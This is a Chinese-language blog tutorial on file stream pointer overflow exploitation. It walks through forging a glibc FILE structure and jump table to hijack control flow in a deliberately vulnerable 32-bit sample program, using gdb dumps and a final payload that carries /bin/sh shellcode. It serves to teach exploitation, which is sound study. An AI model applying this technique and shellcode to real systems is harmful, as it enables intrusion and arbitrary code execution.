哄完女票睡覺后，自己輾轉反側許久還是睡不著，干脆爬起來寫一下文件流指針（我這里簡稱 FSP）溢出攻擊的筆記。FSP 溢出和棧溢出同樣古老，但是 paper 卻很少，我翻遍 Google 只發現三四篇文章，都會附在最后的 Reference 里面，學習學習漲漲姿勢。
本文先講述 FSP 溢出攻擊的原理，以及邊構造邊利用的方式攻擊了一個示例程序。
另外，因為我接觸 pwnable 時間不久，經驗不足，基礎不牢，如果有錯誤的地方或理解失誤的地方還請指出。
許多種不安全的代碼組合可以造成 FSP 溢出，比較明顯的幾種組合方式是： strcpy() ,strcat() ,read() , .... 和 vfprintf(), fprintf(), fputc(), fputs() 的組合。
FSP 溢出攻擊通常是用戶輸入數據覆蓋了文件流指針，導致我們可控文件流指針指向的 FILE 結構體（FILE struct）。FILE 結構體具體定義可以看這里，在此不再贅述。
控制了文件流指針后，可以構造合法的 FILE 結構體，最終在系統跳轉至 _IO_file_jumps 的時候跳轉到我們控制的地址，以控制 eip。
這張圖是 FILE 結構體的構成圖。
圖片來源：https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
下面分析一下一個常見的 FILE 結構體構成。
#!bash
gdb-peda$ x/40a stderr
0xf7fbb980: 0xfbad2086 0x0 0x0 0x0
0xf7fbb990: 0x0 0x0 0x0 0x0
0xf7fbb9a0: 0x0 0x0 0x0 0x0
0xf7fbb9b0: 0x0 0xf7fbba20 0x2 0x0
0xf7fbb9c0: 0xffffffff 0x0 0xf7fbc8ac 0xffffffff
0xf7fbb9d0: 0xffffffff 0x0 0xf7fbbb60 0x0
0xf7fbb9e0: 0x0 0x0 0x0 0x0
0xf7fbb9f0: 0x0 0x0 0x0 0x0
0xf7fbba00: 0x0 0x0 0x0 0x0
0xf7fbba10: 0x0 0xf7fbaa80 <_IO_file_jumps> 0x0 0x0
這是 stderr 的 FILE 結構體，_IO_file_jumps 的地址是 0xf7fbaa80。
#!bash
gdb-peda$ x/21a 0xf7fbaa80
0xf7fbaa80 <_IO_file_jumps>: 0x0 0x0 0xf7e86a70 0xf7e873e0
0xf7fbaa90 <_IO_file_jumps+16>: 0xf7e871b0 0xf7e884d0 0xf7e89360 0xf7e86670
0xf7fbaaa0 <_IO_file_jumps+32>: 0xf7e876c0 0xf7e85d00 0xf7e887a0 0xf7e863a0
0xf7fbaab0 <_IO_file_jumps+48>: 0xf7e862b0 0xf7e7a1e0 0xf7e87610 0xf7e85c00
0xf7fbaac0 <_IO_file_jumps+64>: 0xf7e87650 0xf7e85c90 0xf7e87690 0xf7e89500
0xf7fbaad0 <_IO_file_jumps+80>: 0xf7e89510
這就是 _IO_file_jumps 儲存的要跳轉到函數的地址了，比如：
#!bash
gdb-peda$ x/i 0xf7e86670
0xf7e86670 <_IO_file_xsputn>: sub esp,0x3c
這個地址就是函數 _IO_file_xsputn 的地址。
大概聰明的你也應該想到利用方法了，我們能控制 FILE 指針的地址，那我們就可以自己構造一個假的 FILE struct，當然 _IO_file_jumps 也可以輕易的偽造。當各種文件處理函數跑到 _IO_file_jumps 尋找接下來該跳轉的地址的時候，去我們偽造的 _IO_file_jumps 尋找指針，那么我們就可以控制 eip 執行 shellcode 了。
首先我們看一個示例程序（from: http://repo.hackerzvoice.net/depot_ouah/fsp-overflows.txt）：
#!cpp
/*
* file stream pointer overflow vulnerable program.c
* -killah
*/
#include <stdio.h>
#include <string.h>
int main(int argc,char **argv)
{
FILE *test;
char msg[]="no segfault yet\n";
char stage[1024];
if(argc<2) {
printf("usage : %s <argument>\n",argv[0]);
exit(-1);
}
test=fopen("temp","a");
strcpy(stage,argv[1]);
fprintf(test,"%s",msg);
exit(0);
}
可以看到先用了 strcpy，再用了 fprintf，很經典的組合方式。
編譯：
#!bash
cc -o fsp fsp.c -m32 -zexecstack -fno-stack-protector
大概由于優化的原因，我這里 fprintf 被優化成了 fputs，不過沒差，一樣可以利用。
利用的第一步先尋找到溢出的偏移。
當我用r $(python -c "print 'a'*1041 + 'AAAA'")跑的時候，可以控制 ESI。
如圖，ESI 已經被控制成 0x41414141，那么這里就是我們控制的文件指針了。我們把整個文件結構體放在棧上， AAAA 的前面 160 個字節。AAAA 也改成指向文件指針開頭的地方。
#!bash
gdb-peda$ searchmem AAAA
Searching for 'AAAA' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0xffffd364 ("AAAAR\345td]V\376\367\257\213", <incomplete sequence \342>...)
[stack] : 0xffffd78c ("AAAA")
[stack] : 0xffffdd95 ("AAAA")
當前 AAAA 的地址為 0xffffd78c，減去 160 個字節后就是 0xffffd6ec。那么構造 payload：
#!bash
r $(python -c "print 'a'*881 + 'B'*160 + '\xec\xd6\xff\xff'")
報了新的錯？沒關系，take it easy，現在就開始構造 FILE struct 了。
我們知道 stderr 是一個標準的 FILE 結構體，那我們直接拿它的，在它的基礎上改成我們需要的就好了。
#!bash
gdb-peda$ x/160bx stderr
0xf7fbb980: 0x86 0x20 0xad 0xfb 0x00 0x00 0x00 0x00
0xf7fbb988: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fbb990: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fbb998: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fbb9a0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fbb9a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fbb9b0: 0x00 0x00 0x00 0x00 0x20 0xba 0xfb 0xf7
0xf7fbb9b8: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fbb9c0: 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00
0xf7fbb9c8: 0xac 0xc8 0xfb 0xf7 0xff 0xff 0xff 0xff
0xf7fbb9d0: 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00
0xf7fbb9d8: 0x60 0xbb 0xfb 0xf7 0x00 0x00 0x00 0x00
0xf7fbb9e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fbb9e8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fbb9f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fbb9f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fbba00: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fbba08: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fbba10: 0x00 0x00 0x00 0x00 0x80 0xaa 0xfb 0xf7
0xf7fbba18: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
經過處理后的到這么一長串：
#!bash
\x86\x20\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xba\xfb\xf7\x02\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x60\xbb\xfb\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xaa\xfb\xf7\x00\x00\x00\x00\x00\x00\x00\x00
但是我們知道，由于 strcpy 的緣故，并不能容忍 \x00 的存在，我們直接替換成 A 就好了，因為沒報錯..XD
#!bash
r "`python -c "print 'a'*881 + '\x86\x20\xad\xfbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\xba\xfb\xf7\x02AAAAAAA\xff\xff\xff\xffAAAA\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xffAAAA\x60\xbb\xfb\xf7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xaa\xfb\xf7AAAAAAAA' + '\xec\xd6\xff\xff'"`"
拿去跑一下，看看有什么問題沒有。
快看快看，我們到了最后 call 的地方了。
也就是說，程序運行到要從 _IO_file_jumps 取出指針，然后跳轉了。但是遇到了一些小問題， eax 不符合預期。看一下上下文的匯編代碼。
#!bash
0xf7e7b239 <fputs+153>: movzx edx,BYTE PTR [esi+0x46]
0xf7e7b23d <fputs+157>: movsx edx,dl
0xf7e7b240 <fputs+160>: mov eax,DWORD PTR [esi+edx*1+0x94]
0xf7e7b247 <fputs+167>: mov DWORD PTR [esp+0x8],edi
0xf7e7b24b <fputs+171>: mov DWORD PTR [esp+0x4],ebp
0xf7e7b24f <fputs+175>: mov DWORD PTR [esp],esi
0xf7e7b252 <fputs+178>: call DWORD PTR [eax+0x1c]
edx 是從 esi+0x46 處得來的一個字節的值，eax 是 esi+edx+0x94 處的值，最后 call eax+0x1c。
大體先看一下 esi+0x94 的樣子：
#!bash
gdb-peda$ x/10w $esi+0x94
0xffffd780: 0xf7fbaa80 0x41414141 0x41414141 0xffffd6ec
0xffffd790: 0x08048500 0x00000000 0x00000000 0xf7e2f4d3
0xffffd7a0: 0x00000002 0xffffd834
0xffffd6ec 是我們控制的 FILE 結構體的地址，剩下的兩處 0x41414141 正好可以用來寫一些值來控制 eax。當 edx 為 0x4~0x8 的時候，正好在這 8 個字節的 0x41 的范圍內。
我們讓 esi+0x46 處為 8，然后第二處 0x41414141 指向 FILE 結構體前面的一塊內存。
#!bash
r "`python -c "print 'a'*881 + '\x86\x20\xad\xfbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\xba\xfb\xf7\x02AAAAAAA\xff\xff\xff\xffAA\x08A\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xffAAAA\x60\xbb\xfb\xf7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xaa\xfb\xf7AAAA\xae\xd6\xff\xff' + '\xec\xd6\xff\xff'"`"
我這里指向了 0xffffd63e 處，加上 0x1c 后（看上面匯編），為 0xffffd6ca。
已經可以控制 eip 了，我們修改一下 0xffffd6ca 處的地址，使其指向 0xffffd6cf，然后 0xffffd6ce-0xffffd6ec 這 30 個字節上放上 shellcode。注意 shellcode 應該正好為 30 個字節，不能多也不能少，少了的話用 \x90 補充（根據實際情況來就好了）。
最終 payload：
#!bash
r "`python -c "print 'a'*847 + '\xcf\xd6\xff\xff' + '\x90'*9 + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + '\x86\x20\xad\xfbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\xba\xfb\xf7\x02AAAAAAA\xff\xff\xff\xffAA\x08A\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xffAAAA\x60\xbb\xfb\xf7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xaa\xfb\xf7AAAA\xae\xd6\xff\xff' + '\xec\xd6\xff\xff'"`"
執行效果： 